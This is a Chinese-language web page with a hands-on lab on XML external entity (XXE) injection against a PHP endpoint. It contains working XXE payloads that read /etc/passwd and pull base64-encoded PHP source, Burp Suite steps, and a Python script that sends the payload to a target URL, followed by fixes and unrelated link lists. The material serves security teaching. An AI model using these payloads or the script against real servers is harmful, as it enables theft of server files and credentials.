实验内容

介绍XXE漏洞的触发方式和利用方法,简单介绍XXE漏洞的修复。

影响版本:

libxml2.8.0版本

漏洞介绍

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

由于站点的建站语言不同,PHP、JAVA、python等也有不同的解析规则,在实际情况中不能一概而论,但原理是相同的。

XML基础知识

XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

  file:///path/to/file.ext

  http://url

  php://filter/read=convert.base64-encode/resource=conf.php

XML在调用外部实体整体的写法如下:

  <?xml version="1.0" encoding="utf-8"?>

  <!DOCTYPE xdsec [

  <!ELEMENT methodname ANY >

  <!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>

  <methodcall>

  <methodname>&xxe;</methodname>

  </methodcall>

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

实验步骤

以下步骤主要讲述了此漏洞的利用方式,XML、Payload的构造方式以及恶意脚本的使用和分析。

步骤1:漏洞验证

首先,我们的目标地址是172.16.12.2/simplexml_load_string.php

我们先来看下simplexml_load_string.php代码怎么写的,代码如下:


<?php $data = file_get_contents('php://input'); $xml = simplexml_load_string($data); echo $xml->name; ?>

最开始,引入一个file_get_contents函数,将整个XML数据读入data字符串中,然后交给php的xml解析函数simplexml_load_string()解析,解析后的数据赋给xml变量。

这一数据即XML字符串中使用的对象(或者说根元素)的数据,并echo输出出来。

我们现在打开Burpsuite,修改浏览器的网络配置,点击最右侧的三个横线,然后依次点击->选项->高级->网络->配置firefox如何连接互联网

设置HTTP代理为127.0.0.1,端口为8080,配置完成后,开启burpsuite的拦截功能,然后访问如下网址

http://172.16.12.2/simplexml_load_string.php

当访问请求被burp拦截后,点击action将此请求发送到burp的repeater选项卡(send to repeater),将如下的XML文本直接写在数据包内容的下面

<?xml version="1.0" encoding="utf-8"?> 

<!DOCTYPE xxe [

<!ELEMENT name ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

<root>

<name>&xxe;</name>

</root>

这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。

执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容

如果修改XML中的外部实体为其他协议,如php://filter/read=convert.base64-encode/resource=index.php,在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果在浏览器上显示如下

返回值为PD9waHANCnBocGluZm8oKTsNCj8+,经过base64解码,可以看到字符串是index.php的源代码


<?php phpinfo(); ?>

我们来访问一下index.php,可以看到确实是执行了phpinfo();函数

步骤2 使用并分析恶意脚本

请访问http://file.ichunqiu.com/397qjz4d下载实验文件。

打开cmd,输入 python 脚本所在路径\xxe-url2.py(可将脚本直接拖入cmd命令行) ,然后输入要读取的文件及要访问的地址.

如下图所示,脚本放在C:\Documents and Settings\Administrator\My Documents\下载\路径下,运行脚本,输入示例payload

file:///etc/passwd

示例地址

http://172.16.12.2/simplexml_load_string.php

xxe-url2.py的代码如下,通过urllib2的request方法用POST方式向目标地址发送XML数据,返回的数据即为服务器172.16.12.2下的/etc/passwd文件

import urllib2

if __name__ == '__main__':

    print u'输入要读取的文件,如file:///etc/passwd'

    payload = raw_input()

    print u'输入要访问的地址,如http://172.16.12.2/simplexml_load_string.php'

    url = raw_input()

    #url = 'http://192.168.70.235/simplexml_load_string.php'

    headers = {'Content-type': 'text/xml'}

    xml = '<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "' + payload + '" >]><root><name>&xxe;</name></root>'

    req = urllib2.Request(url = url,headers = headers, data = xml)

    res_data = urllib2.urlopen(req)

    res = res_data.read()

    print res

实验结果分析与总结

本次实验主要了解了XML的基础知识以及PHP中XML的使用,了解了漏洞出现的原理,学习了通过构造恶意的外部实体访问,让服务器读取敏感文件内容的恶意操作。

XML外部实体注入可以造成的危害有:

  • 任意文件读取

  • 系统命令执行

  • 内网主机及服务探测

本次实验我们主要进行了任意文件读取的操作,系统命令执行需要在安装了EXPECT扩展的PHP环境下才能执行,内网主机及服务探测可以通过HTTP协议来执行。

修复方案

  • 使用libxml2.8.0以上版本xml解析库,默认禁止外部实体的解析

  • 对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用函数进行过滤

  • 可将外部实体、参数实体和内联DTD都被设置为false,从而避免基于XXE漏洞的攻击。

XXE(xml外部实体注入漏洞)的更多相关文章

  1. Pikachu-XXE(xml外部实体注入漏洞)

    XXE -"xml external entity injection"既"xml外部实体注入漏洞".概括一下就是"攻击者通过向服务器注入指定的xml ...

  2. Xml外部实体注入漏洞

    Xml外部实体注入漏洞(XXE) Xml介绍 XML 不是 HTML 的替代. XML 和 HTML 为不同的目的而设计: XML 被设计为传输和存储数据,其焦点是数据的内容. HTML 被设计用来显 ...

  3. CTF中关于XXE(XML外部实体注入)题目两道

    题目:UNCTF-Do you like xml? 链接:http://112.74.37.15:8008/ hint:weak password (弱密码) 1.观察后下载图片拖进WINHEX发现提 ...

  4. XML外部实体注入漏洞(XXE)

    转自腾讯安全应急响应中心 一.XML基础知识 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声 ...

  5. 【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞分析

    0x01 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chichu/ ...

  6. 应用安全-XXE(XML外部实体注入)攻防整理

    libxml2..1及以后,默认不解析外部实体.测试的时候window下使用php5.(libxml Version ), php5.(libxml Version ).Linux中需要将libxml ...

  7. PHP xml 外部实体注入漏洞学习

    XML与xxe注入基础知识 1.XMl定义 XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言:可扩展的样式语言(Exten ...

  8. 【JAVA XXE攻击】微信支付官方回应XML外部实体注入漏洞

    官方回应连接:https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter=23_5 其中明确指出了代码修改的地方. 然后看到此文档后,我就改公司项 ...

  9. 【研究】XML外部实体注入(XXE)

    在正式发布的2017 OWAST Top10榜单中,出现了三种新威胁: A4:XML外部实体注入漏洞(XXE) A8:不安全的反序列化漏洞 A10:不足的记录和监控漏洞 验证XXE: 构造请求 < ...

随机推荐

  1. Android USB转串口通信开发基本流程

    好久没有写文章了,年前公司新开了一个项目,是和usb转串口通信相关的,需求是用安卓平板通过usb转接后与好几个外设进行通信.一直忙到近期,才慢慢闲下来,趁着这个周末不忙.记录下usb转串口通信开发的基 ...

  2. Heap 3214 LIS题解

    依据问题转换成最长不降子序列问题. 10^9的输入数据计算起来还是挺花时间的.由于这里仅仅能使用O(nlgn)时间复杂度了. 只是证明是能够算出10^9个数据的. 由于时间限制是5s. #includ ...

  3. myeclipse中配置schemaLocation路径,实现xml文件自动提示

    在开发中,XML的xsi:schemaLocation路径都是指向网络,但是这个网络地址有时候很不给力导致工程检验XML格式缓慢.所以有必要再myeclipse中配置本地xsd文件路径,以免每次校验都 ...

  4. php 给图片增加背景平铺水印代码

    如果你想利用php 给图片增加背景平铺水印效果话,必须利用php的一个插件来实例,就是利用imagick,他可以给图片增加背景平铺水印效果哦,下面我们提供一款实例代码. 如果你想利用php教程 给图片 ...

  5. layui当点击增加的时候,将form中的值获取的添加到table行中代码

    layui.use(['table','layer'],function(){ var $=layui.$, table=layui.table, layer=layui.layer; functio ...

  6. js arguments 内置对象

    1.arguments是js的内置对象. 2.在不确定对象是可以用来重载函数. 3.用法如下: function goTo() { var i=arguments.length; alert(i); ...

  7. gcc,一个神奇的编译器

    gcc是“GNU Compiler Collection”的缩写,从字面意思可以知道它是一个编译器集.gcc不止可以编译器c语言,还能用于c++,java,object-C等语言程序.但是在这里,我们 ...

  8. Hive分析窗体函数之SUM,AVG,MIN和MAX

    行 AVG(pnum) OVER(PARTITION BYpolno ORDER BY createtime ROWS BETWEEN CURRENT ROW AND UNBOUNDED FOLLOW ...

  9. 数据库设计(五)第一范式(1NF)?

    In our last tutorial we learned and understood how data redundancy or repetition can lead to several ...

  10. 【shell】tar命令详解

    tar [-cxtzjvfpPN] 文件与目录 ....参数:-c :建立一个压缩文件的参数指令(create 的意思):-x :解开一个压缩文件的参数指令!-t :查看 tarfile 里面的文件! ...